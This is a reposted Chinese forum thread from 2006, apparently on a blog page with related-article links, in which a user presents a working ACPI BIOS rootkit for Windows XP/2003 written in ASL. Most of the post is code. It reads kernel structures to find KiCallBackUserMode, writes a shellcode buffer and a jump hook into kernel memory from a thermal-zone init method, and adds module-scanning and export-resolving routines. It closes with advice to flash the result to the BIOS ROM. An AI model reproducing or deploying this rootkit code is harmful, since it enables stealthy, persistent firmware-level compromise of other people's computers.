ACPI BIOS RootKit 实践

BIOS14: Multiple Regression(多元回归) using R NOTES 1 Multiple reegression model 1.1 multiple regression equation y=β0+β1x1+β2x2+β3x3+β4x4+...+βkxk+ε y=\beta_0+\beta_1x_1+\beta_2x_2+\beta_3x_3+\beta_4x_4+...+\beta_kx_k+\varepsilon y=β0​+β1​x1​+β2... 阅读详情
头衔: 无名氏
门派: 使徒十三
  

等级: 大天使
信息:  
威望: +5 积分: 2081  
现金: 5904 雷傲元
存款: 2552072 雷傲元
贷款: 没贷款
来自: 保密 
发帖: 1916 篇
精华: 8 篇
在线: 54 时 10 分 45 秒
注册: 2002/08/05 08:43am
造访: 2006/02/11 08:40pm
  消息 查看 搜索 好友 复制 引用 回复 只看我  [楼 主]

   购买名单:------------ xyzreg1
(此贴售价 500 雷傲元,目前已有 1 人购买)

[这个贴子最后由vxk在 2006/02/11 06:38pm 第 1 次编辑]

ACPI BIOS RootKit 实践
<Vxk@StealKernel>
BlackHat 2006 上John议题<acpi bios rootkit>,给了很多rootkit爱好者
一个不小的惊讶,虽然Greg Hoglund在<ROOTKITS, Subverting the Windows Kernel>
一书中预言了这种rootkit的存在,但是毕竟这是第一次有人明确给出这个RK的实现方案
,好高兴啊~~~以前没有人指出这个方案,一直是ACPI System Service Extend或者BIOS
Moudle Extend之类用"汇编"写的非常郁闷的东西,而这个却选择了一个比较高级编写工
具而且这个工具提供的功能非常强大....我这里主要说Windows的ACPI BIOS ROOTKIT,
John给了一个例子是/_TZ空间的ASL例子,很不错,呵呵~~~因为ACPI有强大的访问能力
SystemIO,SystemMemory,PCI_Config,CMOS等等都可以轻松访问物理设备等等,于是ASL编
写的Rootkit是击毙容易实现功能的。因为我们的代码近乎裸体的运行,要想实现任何功能
——都要靠Memory分配,这里大家可以回去查查ACPI参考( www.acpi.info) 看看如何分配内存和分配端口,以及端口I/O事件(为了功能shellcode和rootkit主体交流)。除酥猓颐且胧迪止δ躶hellcode 的插入,还需要找一个插入口——我这里选择KiCallBackUserMode的hook来实现,在其写入一个挑转指令到我们分配的内存buffer (这里存储shellcode)...如何得倒KiCallBackUserMode呢?比较简单的方法就是通过读取KPCR内的 KdVersionBlock再通过KdVersionBlock取KdDebuggerDataBlock,通KdDebuggerDataBlock 取得KiCallBackUserMode这是一个方法,下面是其代码
// Example One
DefinitionBlock (
"rootkit.aml", // Output Filename
"DSDT", // Signature
0x02, // DSDT Compliance Revision
"OEM", // OEMID
"forTest", // TABLE ID
0x1000 // OEM Revision
)
{
Method(OSCK)
{
   if(CondRefOf(_OSI,Local0))
   {
       if (/_OSI("Windows 2001"))
       {
           Return(One)
       }
if(/_OSI("Windows 2001.1"))
{
Return(Ones)
}
Return(Zero)
   }
Return(Zero)
}
Method(RDMD,2)
{
ToInteger(Arg0,Local0)
ToInteger(Arg1,Local1)
Name(Out,0x00000000)
if(LLess(0x80000000,Local0)){
Subtract(Local0,0x80000000,Local2)
Store(Local2,Local0)
}
OperationRegion(NISR, SystemMemory, Local0, Local1)
Field(NISR, ByteAcc, Lock, Preserve)
{
ROOP,0x4
}
Store(ROOP,Out)
Return(Out)
}
Scope(/_TZ)
{
Name (_TRT,Package(){ResourceTemplate(){Memory32Fixed(ReadWrite,0xfff00000,0x10000, MMRG)}})//在地址0xfff00000分配0x10000个Byte的Buffer~~~
//利用_TRT来实现这块内存的稳定存在...嘿嘿~~在我实验的两台机器上没有蓝...
//大家也可以采用通过找KernBase的内存空域来...不过很麻烦...
//后者采用所有的Moudle的DosHeader那块内存,分块存储之...也是很烦...

Method(RKDM)
{
Store("Only Support Windows Xp Ans 2003",Debug)
if(LNotEqual(OSCK(),Zero))
{
Name(KBAD,0x00000000)
Name(KDHL,0x00000000)
Name(KDAD,0x00000000)
Name(KIUC,0x00000000)
Name(HDB0,Buffer(){0xB8,0x00,0x00,0xF0,0xFF,0xFF,0xD0,0x90,0x90,0x90})
Name(SHEL,Buffer(){
0x61,//pushad
0x90,//shellcode here
0x90,//shellcode here
0x90,//shellcode here
0x61,//popad
0x55,
0x53,
0x56,
0x57,
0x8B,0x1D,0x24,0xf1,0xdf,0xff,
0xC3
})
Store(RDMD(0xffdff034,0x4),Local0)
if(LEqual(Local0,0x0000000))
{
Return(Zero)
}
Add(Local0,0x10,Local1)
Store(RDMD(Local1,0x4),KBAD)
Store("Kernel Base Addr",Debug)
Store(KBAD,Debug)
Add(Local0,0x20,Local1)
Store(RDMD(Local1,0x4),KDHL)
Store(RDMD(KDHL,0x4),KDAD)
Add(KDAD,0x18,Local1)
Store(RDMD(Local1,0x4),Local3)
if(LNotEqual(Local3,KBAD)) {Return(Zero)}
Add(KDAD,0x38,Local1)
Store(RDMD(Local1,0x4),KIUC)
Store(SHEL,MMRG)
Subtract(KIUC,0x80000000,Local2)
OperationRegion(NISA, SystemMemory,Local2,0x10)
Field(NISA, ByteAcc, Lock, Preserve)
{
RSSA,0x10
}
Store(HDB0,RSSA)
Sleep(500)
}
}
ThermalZone (TZ0) {
Method(_INI,0)
{
Store(RKDM(),Debug)
Sleep(30)
Return
}
}
}
}

这是一种方法,另外还有就是古老的搜索大法,这里就不列出来,这里给
出一个MmIsAddressValid简易版方便要写搜索的英雄
Method(RDMB,2)
{
ToInteger(Arg0,Local0)
ToInteger(Arg1,Local1)
Name(Out,0x00)
if(LLess(0x80000000,Local0)){
Subtract(Local0,0x80000000,Local2)
Store(Local2,Local0)
}
OperationRegion(NISR, SystemMemory, Local0, Local1)
Field(NISR, ByteAcc, Lock, Preserve)
{
ROOP,0x1
}
Store(ROOP,Out)
Return(Out)
}
Method(RDMD,2)
{
ToInteger(Arg0,Local0)
ToInteger(Arg1,Local1)
Name(Out,0x00000000)
if(LLess(0x80000000,Local0)){
Subtract(Local0,0x80000000,Local2)
Store(Local2,Local0)
}
OperationRegion(NISR, SystemMemory, Local0, Local1)
Field(NISR, ByteAcc, Lock, Preserve)
{
ROOP,0x4
}
Store(ROOP,Out)
Return(Out)
}
Method(RDMW,2)
{
ToInteger(Arg0,Local0)
ToInteger(Arg1,Local1)
Name(Out,0x0000)
if(LLess(0x80000000,Local0)){
Subtract(Local0,0x80000000,Local2)
Store(Local2,Local0)
}
OperationRegion(NISR, SystemMemory, Local0, Local1)
Field(NISR, ByteAcc, Lock, Preserve)
{
ROOP,0x2
}
Store(ROOP,Out)
Return(Out)
}
//MmIsAddressValid(Addr)
//One正常,Zero有问题
Method(MAVD,1)
{
Store(Arg0,Local0)
Store(Zero,Local1)
Store(Zero,Local2)
ShiftRight(Local0,0x14,Local1)
And(Local0,0x0FFC,Local2)
Store(Local2,Local1)
Subtract(Local1,0x3FD00000,Local2)
Store(Local2,Local1)
Store(RDMD(Local1,0x4),Local2)
Store(Local2,Local1)

And(Local1,0x00000001,Local2)
if(LEqual(Local2,0x00000001))
{
Return(Zero)
}
And(Local1,0x000000FF,Local2)
if(And(Local2,0x00000010))
{
Return(One)
}
ShiftRight(Local0,0x0A,Local1)
And(Local1,0x3FFFFC,Local2)
Subtract(Local2,0x40000000,Local1)
Store(RDMD(Local1,0x4),Local2)
Store(Local2,Local3)
And(Local3,0x00000001,Local2)
if(LEqual(Local2,0x00000001))
{
Return(Zero)
}
And(Local3,0x000000FF,Local2)
if(And(Local2,0x00000010))
{
And(Local1,0x0FFC,Local2)
Subtract(Local2,0x3FD00000,Local3)
Store(RDMD(Local3,0x4),Local2)
And(Local2,0x00000081,Local3)
Subtract(Local3,0x81,Local2)
if(LEqual(Local2,0x00000000))
{
Return(One)
}
Return(Zero)
}
}
接下来给出一个搜索Moudle的代码....写的不是很好
Method(RDMX,2)
{
ToInteger(Arg0,Local0)
ToInteger(Arg1,Local1)
Store(Zero,Local2)
Store(Zero,Local3)
Name(Out,Buffer(Local1){})
if(LLess(0x80000000,Local0)){
Subtract(Local0,0x80000000,Local2)
Store(Local2,Local0)
}
Name(TMP,0x00)
Name(CNT,Zero)
While(LNotEqual(Local1,Zero))
{
Store(RDMB(Local0,0x1),TMP)
Store(TMP,Index(Out,CNT))
Increment(CNT)
Decrement(Local1)
Increment(Local0)
}
Return(Out)
}
//Addr SearchMod(name,maxaddr)
//ntoskrnl 0x6E 74 6F 73 6B 72 6E 6C
Method(SMD,2)
{
Name(Base,0x80000000)
Store(One,Local0)
Store(Base,Local1)
ToInteger(Arg1,Local7)
Name(D0,0x5A4D)
Name(P0,0x00004550)

While(LEqual(Local0,One))
{

if(LEqual(MAVD(Local1),One)){Store(RDMW(Local1,0x2),Local2)}
Store(Zero,Local3)
Add(Local1,0x1000,Local3)
if(LEqual(Local2,D0))
{
Add(0x60,Local1,Local3)
if(LEqual(MAVD(Local3),One)){Store(RDMD(Local3,0x4),Local2)}
Add(Local1,Local2,Local3)
if(LEqual(MAVD(Local3),One)){Store(RDMD(Local3,0x4),Local2)}
if(LEqual(Local2,P0))
{
Store(Local3,Local4)
Add(Local4,0x78,Local3)
if(LEqual(MAVD(Local3),One)){Store(RDMD(Local3,0x4),Local2)}
if(LNotEqual(Local2,0x00000000))
{
Add(Local2,Local1,Local3)
Add(Local3,12,Local4)
Store(Local4,Local3)
if(LEqual(MAVD(Local3),One)){Store(RDMD(Local3,0x4),Local2)}
Add(Local2,Local1,Local3)
//Local3==address of name
Store(Zero,Local5)
if(LEqual(MAVD(Local3),One)){Store(RDMX(Local3,SLEN(Arg0)),Local5)}

ToString(Local5,Local3)
if(LEqual(SCMP(Arg0,Local3),Zero))
{
Return(Local1)
}
}
}
}
if(LEqual(Local1,Local7)){Return(Zero)}
Add(Local1,0x1000,Local3)
Store(Zero,Local1)
Store(Local3,Local1)
}
Return(Zero)
}
能搜索Moudle了,自然就会要搜索EXPORT的API
//Addr SearchExp(modbase,apiname)
Method(SEXP,2)
{
Name(MBS,0x00000000)
Name(EXP,0x00000000)
Name(EXT,0x00000000)
Name(NUM,0x00000000)
Name(EX,0x00000000)
Name(OUT,0x00000000)
Name(RLD,0)
Store(Arg0,MBS)
Add(MBS,60,Local0)
Store(RDMD(Local0,0x4),Local1)
Add(MBS,Local1,Local0)
Add(Local0,0x78,Local1)
Store(RDMD(Local1,0x4),EXP)
Add(EXP,MBS,EXT)
Add(EXT,24,Local0)
Add(EXT,32,Local1)
Store(RDMD(Local0,0x4),NUM)
Store(RDMD(Local1,0x4),Local0)
Add(Local0,MBS,Local1)
While(LNotEqual(NUM,Zero))
{
Decrement(NUM)
Multiply (NUM,0x4,Local3)
Add(Local3,Local1,Local0)
Store(RDMD(Local0,0x4),Local3)
Add(MBS,Local3,Local4)
Increment(NUM)
Add(SLEN(Arg1),1,RLD)
Store(RDMX(Local4,RLD),Local5)
if(LEqual(Index(SLEN(Arg1),Local5),0x00))
{
Store(RDMX(Local4,SLEN(Arg1)),Local5)
ToString(Local5,Local6)
if(LEqual(SCMP(Arg1,Local6),Zero))
{
Decrement(NUM)
Add(EXP,36,Local3)
Store(RDMD(Local3,0x4),Local2)
Add(MBS,Local2,EX)
Multiply (NUM,0x2,Local3)
Add(EX,Local3,Local2)
Store(RDMW(Local2,0x2),OUT)
Add(EXT,28,Local3)
Store(RDMD(Local3,0x4),Local2)
Add(MBS,Local2,Local4)
And(OUT,0x0000FFFF,Local2)
Multiply(Local2,0x4,Local3)
Add(Local4,Local3,Local1)
Store(RDMD(Local1,0x4),Local0)
Add(Local0,MBS,EX)
Return(EX)
}
}
Increment(NUM)
}
}
剩下一些垃圾代码,都是字符串比对用的~~
//
//
// MIN(Int1, Int2) - Returns the minimum of Int1 or Int2.
//
//
Method(MIN, 2)
{
   //
   // Note: The caller must make sure both arguments are integer objects.
   //
   If(LLess(Arg0, Arg1))
   {
       Return(Arg0)
   }
   Else
   {
       Return(Arg1)
   }
}

//
// SLEN(Str) - Returns the length of Str (excluding NULL).
//
Method(SLEN, 1)
{
   //
   // Note: The caller must make sure the argument is a string object.
   //
   Return(Sizeof(Arg0))
}

//
// S2BF(Str) - Convert a string object into a buffer object.
//
Method(S2BF, 1, Serialized)
{
   //
   // Note: The caller must make sure the argument is a string object.
   //
   // Local0 contains length of string + NULL.
   //
   Add(SLEN(Arg0), One, Local0)
   //
   // Convert the string object into a buffer object.
   //
   Name(BUFF, Buffer(Local0) {})
   Store(Arg0, BUFF)
   Return(BUFF)
}

//
// SCMP(Str1, Str2) - Compare Str1 and Str2.
//                    Returns One if Str1 > Str2
//                    Returns Zero if Str1 == Str2
//                    Returns Ones if Str1 < Str2
//
Method(SCMP, 2)
{
   //
   // Note: The caller must make sure both arguments are string objects.
   //
   // Local0 is a buffer of Str1.
   // Local1 is a buffer of Str2.
   // Local2 is the indexed byte of Str1.
   // Local3 is the indexed byte of Str2.
   // Local4 is the index to both Str1 and Str2.
   // Local5 is the length of Str1.
   // Local6 is the length of Str2.
   // Local7 is the min. of Str1 or Str2 length.
   //
   Store(S2BF(Arg0), Local0)
   Store(S2BF(Arg1), Local1)
   Store(Zero, Local4)

   Store(SLEN(Arg0), Local5)
   Store(SLEN(Arg1), Local6)
   Store(MIN(Local5, Local6), Local7)

   While(LLess(Local4, Local7))
   {
       Store(Derefof(Index(Local0, Local4)), Local2)
       Store(Derefof(Index(Local1, Local4)), Local3)
       If(LGreater(Local2, Local3))
       {
           Return(One)
       }
       Else
       {
           If(LLess(Local2, Local3))
           {
               Return(Ones)
           }
       }

       Increment(Local4)
   }

   If(LLess(Local4, Local5))
   {
       Return(One)
   }
   Else
   {
       If(LLess(Local4, Local6))
       {
           Return(Ones)
       }
       Else
       {
           Return(Zero)
       }
   }
}
能做这些了,自然也就想到其他功能的实现了——下次有时间说IO和Event
另外这个东西测试比较麻烦,如果真的想做点绝对真实的测试就直接用
PMTOOLS写入到ROM~~
  











编辑 屏蔽 2006/02/11 06:35pm IP: 已设置保密 [本文共13707字节]   
  

  vxk   头衔: 无名氏
门派: 使徒十三
  

等级: 大天使
信息:  
威望: +5 积分: 2081  
现金: 5904 雷傲元
存款: 2552072 雷傲元
贷款: 没贷款
来自: 保密 
发帖: 1916 篇
精华: 8 篇
在线: 54 时 10 分 45 秒
注册: 2002/08/05 08:43am
造访: 2006/02/11 08:40pm
  消息 查看 搜索 好友 复制 引用 回复 只看我  [第 2 楼]

  这个东西最近才玩的,写的可能会在你得机器上造成BLUE,或者不听重起——带自身恢复的主板可以尝试...

  











编辑 屏蔽 删除 2006/02/11 06:42pm IP: 已设置保密 [本文共98字节]   
  

  vxk   头衔: 无名氏
门派: 使徒十三
  

等级: 大天使
信息:  
威望: +5 积分: 2081  
现金: 5904 雷傲元
存款: 2552072 雷傲元
贷款: 没贷款
来自: 保密 
发帖: 1916 篇
精华: 8 篇
在线: 54 时 10 分 45 秒
注册: 2002/08/05 08:43am
造访: 2006/02/11 08:40pm
  消息 查看 搜索 好友 复制 引用 回复 只看我  [第 3 楼]

  [这个贴子最后由vxk在 2006/02/11 07:13pm 第 1 次编辑]

这篇文章是我加入baiyuanfan的StealKernel工作室后(其实还没有正式成立...)
的第一篇小文~~呵呵,代码居多,因为实在没有什么可以说的,主要的技术都是specs
上有的,呵呵...另外感谢PheonixBios的一位工程师给我的一些帮助...
和M$的MSDN上所有的ACPI版大牛
  











编辑 屏蔽 删除 2006/02/11 06:45pm IP: 已设置保密 [本文共312字节]   
  

  vxk   头衔: 无名氏
门派: 使徒十三
  

等级: 大天使
信息:  
威望: +5 积分: 2081  
现金: 5904 雷傲元
存款: 2552072 雷傲元
贷款: 没贷款
来自: 保密 
发帖: 1916 篇
精华: 8 篇
在线: 54 时 10 分 45 秒
注册: 2002/08/05 08:43am
造访: 2006/02/11 08:40pm
  消息 查看 搜索 好友 复制 引用 回复 只看我  [第 4 楼]

  里面的代码仅在2GB的XP+Sp1上工作过,如有任何意外请不要联系本人...
hehe~~
  











编辑 屏蔽 删除 2006/02/11 06:47pm IP: 已设置保密 [本文共74字节]   
  

  baiyuanfan   头衔: 总版主

  

等级: 病毒精灵
信息:  
威望: 0 积分: 153  
现金: 5262 雷傲元
存款: 没开户
贷款: 没贷款
来自: 保密 
发帖: 168 篇
精华: 1 篇
资料:  
在线: 39 时 53 分 33 秒
注册: 2004/11/05 02:47pm
造访: 2006/02/11 08:29pm
  消息 查看 搜索 好友 复制 引用 回复 只看我  [第 5 楼]

  非常希望大家能来一起讨论这个问题!还有,不是Vxk加入我的工作室,嘿嘿,是我把师父拖来做技术支持,嘿嘿
通过windows启动流程分析rootkit的潜在位置 通过学习windows启动流程,我们可以了解该过程中系统启动了什么服务,加载了什么驱动,运行了什么程序,这对学习rootkit有参考意义。 下图是windows从引导开始,到windows子系统启动完成的整个流程: 我将跟随书本的顺序,将一些我认为可以藏rootkit的位置加粗表示出来。 固件启动 书上介绍了两种固件启动方式,分别是BIOS和EFI。 BIOS固件启动 机器启动时进行加电自检(Power-on Self-test, POST),POST的工作有确定板载内存大小,对内存进行循环检测,枚举主板 阅读详情

相关推荐

深入解析ACPI:从硬件描述到电源管理的现代计算机核心接口

在计算机系统中,硬件抽象层是实现操作系统与底层硬件解耦的关键技术。其核心原理在于通过一套标准化的数据结构和指令集,为操作系统提供统一的硬件访问与管理接口,从而屏蔽不同厂商硬件的具体细节。这一技术的核心价值在于极大地提升了系统的兼容性、可移植性与电源管理能力。在工程实践中,它被广泛应用于设备驱动加载、性能状态调节以及系统睡眠唤醒等场景。本文聚焦于ACPI(高级配置与电源管理接口)这一具体实现,它正是现代计算机中扮演“隐形管家”角色的核心规范。通过理解ACPI表(如DSDT、SSDT)和AML字节码,开发者能够

weixin_34417200的博客 343

[>>蓝屏出品>>]ACPI BIOS RootKit 实践

头衔: 无名氏门派: 使徒十三  等级: 大天使 信息:   威望: +5 积分: 2081  现金: 5904 雷傲元 存款: 2552072 雷傲元 贷款: 没贷款 来自: 保密  发帖: 1916 篇 精华: 8 篇 在线: 54 时 10 分 45 秒 注册: 2002/08/05 08:43am 造访: 2006/02/11 08:40pm  消息 查看 搜索 好友 复制 引用 回复 只

生命的守望 2169

从UEFI Rootkit到硬件调试:揭秘RW-Everything驱动RwDrv.sys的双面人生

本文深入剖析了RW-Everything核心驱动RwDrv.sys的双重角色。作为一款强大的内核驱动,它既是硬件工程师进行物理内存、PCI配置空间等底层调试的利器,也可能被恶意利用,成为植入UEFI Rootkit、实现固件级持久化攻击的工具。文章揭示了其技术原理、合法应用场景与安全风险,并探讨了相应的防御策略。

melon的博客 1178

signature=6732c40fac63364b164c2e9a66a446e7,Effects of Sex, Age and Dietary Modification on Plasma Li...

摘要:Female M. nemestrina fed a Monkey Chow diet had higher TPC and LDL + VLDL-chol concentrations than males. When the animals were fed a fat and cholesterol-enriched Monkey Chow diet, there were incre...

weixin_36233098的博客 477

【系统急救】WinPE环境下360急救箱的病毒查杀实战指南

本文详细介绍了在WinPE环境下使用360急救箱进行病毒查杀的实战指南。通过制作PE启动盘、进入WinPE环境、深度使用360急救箱等步骤,帮助用户有效清除顽固病毒,修复系统问题。特别针对MBR病毒、驱动木马等特殊威胁提供了专业解决方案,是系统急救的黄金组合。

hadoop5ranger的博客 1073

在 Windows 系统下使用 VMware 安装 Ubuntu 24.04 LTS 系统

Ubuntu24.04桌面端官方下载:https://cn.ubuntu.com/download/desktop。

u014695938的博客 1万+

signature=438c4078a5ce8398d2ffb7f6b595c2f8,Mineralogical Mapping of Quadrangle Av-12 (sextilia) on 4...

AbstractSince the arrival of the Dawn spacecraft at Vesta the Visible and InfraRed Imaging Spectrometer (VIR) has acquired hyperspectral images of Vesta's surface in the wavelength range from 0.25 to ...

weixin_33015139的博客 1万+

无源低通滤波器

无源RC滤波器“滤除”不需要的信号,因为它们分离并允许仅通过其频率的正弦输入信号,最简单的是无源低通滤波器网络。在低频应用(高达100kHz)中,无源滤波器通常使用简单的RC(电阻-电容)网络构建,而高频滤波器(高于100kHz)通常由RLC(电阻-电感-电容)元件制成。无源滤波器由电阻器、电容器和电感器等无源元件组成,没有放大元件(晶体管、运算放大器等),因此没有信号增益,因此它们的输出电平始终小于输入。滤波器是根据它们允许通过它们的信号的频率范围来命名的,同时阻挡或“衰减”其余部分。

weixin_44448586的博客 1万+

BIOS14:Statistic Exercise 3

a) Is there a difference between the sexes with respect to total tree-felling? (3p) Firstly, I imported the data and checked. Then I calculated the total tree-felling data. According to the question, ...

qq_43063824的博客 384

实战对比:Lmcache+vllm将KVcache卸载到CPU和SSD的性能差异(附完整配置)

本文通过实战对比Lmcache与vLLM在KV Cache卸载到CPU和SSD的性能差异,详细解析了配置优化、基准测试及高级调优策略。实验显示,CPU卸载在低并发下表现优异,而SSD方案在高并发场景中更具性价比优势,为LLM推理任务提供了高效的存储解决方案。

weixin_30664051的博客 701

1G/2.5G Ethernet PCS/PMA or SGMII

SGMII即Serial GMII,串行GMII,收发各一对差分信号线,时钟频率625MHz,在时钟信号的上升沿和下降沿均采样,所以总的数据速率为1.25Gbps=625Mbps*2。参考时钟RX_CLK由PHY提供,是可选的,主要用于MAC侧没有时钟的情况,一般情况下,RX_CLK不使用。收发都可以从数据中恢复出时钟。在TXD发送的串行数据中,每8比特数据会插入TX_EN/TX_ER 两比特控制信息,同样,在RXD接收数据中,每8比特数据会插入RX_DV/RX_ER 两比特控制信息。

sqzjiayou的博客 1万+

BIOS Rootkit

国内外对于BIOS Rootkit的检测研究目前尚处于起步阶段。 Rootkit可分为应用程序级Rootkit、系统工具级Rootkit和内核级Rootkit三个类型,我们今天讨论的就是内核级BIOS Rootkit。 自BIOS芯片改用为可擦写芯片(如FlashROM、EPROM)以来,在BIOS芯片里植入程序就变 得可能。最早,BIOS厂商选用这类芯片是为了方便BIOS日后的程序升级工作。然而...

摔不死的笨鸟的博客 782

【机器学习】随机森林(Random Forest,简称 RF):预测光伏电站功率 || 缺失数据处理 || 重复行处理...

【机器学习】随机森林(Random Forest,简称 RF):预测光伏电站功率。

追光者♂:记录、分享、总结、提升,现象级专栏《Python从入门到人工智能》作者,无惧黑暗,坚信曙光 1650

BIOS Rootkit:Welcome home,my Lord!

                    [BIOS RootKit:Welcome Home,My Lord!...?]                    [Author ]: Icelord[Contact]: icelord@sohu.com[Data   ]: @2007/04/26->...    本文介绍一个简单BIOS rootkit的简单设计过程    意在抛砖引玉,期待高手

天之流 1万+

MFC Tab Control控件完全指南:从基础使用到高级定制

本文详细介绍了MFC中TabControl控件的使用方法和高级技巧。主要内容包括:1) TabControl基础属性设置与绑定;2) 样式定制和外观自定义;3) 创建派生类实现扩展功能;4) 动态页面管理和子对话框控制;5) 高级功能如标签拖拽排序和右键菜单。通过完整代码示例,展示了从基本应用到复杂场景的实现方案,包括多标签页管理、自定义绘制、动态添加/删除标签等核心功能,为MFC开发者提供了全面的TabControl开发指南。

专注现代C++实战,从核心语法到高性能编程,助力开发者深入掌握系统级编程精髓。 260

分级 API Key 的使用案例

分级 API Key 的使用案例 1. 背景介绍 1.1 问题由来 随着网络服务的普及,API(Application Programming Interface,应用程序编程接口)成为了连接不同系统和应用的关键桥梁。API Key(API密钥)

欢迎来到我的优快云空间!这里聚焦AI大模型应用实战,分享前沿技术、实战案例与开发经验。 1022

研究人员称rootkit黑客代码可隐藏在BIOS中

在上周三的“BlackHat”会议上,一名研究人员表示,采用rootkit技术的黑客可以将他们的恶意代码隐藏在PC的BIOS闪存内,这一策略使得安全软件要发现、清除恶意软件变得更困难了。 在“BlackHat”会议上发表演讲时,英国Next-Generation安全软件公司的首席安全顾问海斯曼阐述了这一威胁。他说,黑客可以利用“电源配置和电源接口”(ACPI)及其编程语言在BIOS闪存中部

清炒苦瓜的专栏 880

YOLO11多个点组合创新:GC10-DET缺陷检测 | DCNv4结合SPPF+11Detect创新性结合

DCNv4结合SPPF+11Detect创新性结合,原始mAP50为0.633 提升至0.651

①答疑群聊服务;②YOLO大模型知识问答系统;③计算机视觉论文生成智能体; 1291

About the SMM rootkit

 来源:SoftRCE.net其实SMM是早在97年就有的东西,我跟这个东西也算是有点渊源,之前在实验室做过一些关于这个的研究,但是远没有到rootkit的方向.之后在逛网站的时候发现一篇5.12时候的新闻:Researchers dig into x86 chips for stealthier rootkits,然后才重新回头去看了这个东西,也隔天就写了篇分析.不过功力尚浅,很多东西在Win3

995

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

Rootkits to target BIOS soon?

At the recent Black Hat Federal Briefings, a presentation was given, which proposes that rootkits may soon attack the BIOS of a compromised system, via the ACPI subsystem, which intention is to provid

1411

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

RootKit

1.MBR感染类Bootkit...不如ntbootdd.sys用起来方便,存在成熟产品 2.Bios rootkit,做个通用的好难,AMI,AWARD,Phoenix三类XX,还有硬件通用性,但是已经有成熟产品... 3.电磁感染,POC,目前除了看到BSOD Dump之外没看过能执行的,POC阶段 4.Powerkit,弄完电池不能放电和充电了——是弄坏了,还是XX了,也是超级p

tikycc2的专栏 629

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

基于SMM的ROOTKIT技术深度解析:从渗透到防御的“安全攻防战”

本文深入探讨了基于SMM(系统管理模式)的ROOTKIT攻击技术及其防御策略。SMM-ROOTKIT利用x86架构中高于内核的特权级(Ring-1)和SMRAM的硬件隔离特性,通过三种主要渗透路径实施攻击:利用SMI处理程序漏洞、篡改SMRAM内存以及伪造SMI事件。文章详细解析了LoJax等实际案例的攻击流程,并提供了CHIPSEC等白帽检测工具的使用建议。针对防御方面,提出了四层防护体系:固件安全加固、硬件隔离增强、实时监控检测以及操作系统协同防御。

fearhacker的专栏 1444

RootKit Detection + Prevention tool

More Tools to assist in the search for Hidden files etc + a couple of specific Rootkit/Sleath seeking Apps. All are FREE except for HF, but you can download and try it before you buy. Have fun !Hidd

1391
上一篇: 对USB驱动程序的理解
下一篇: 控制台下输出DLL的调试信息
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值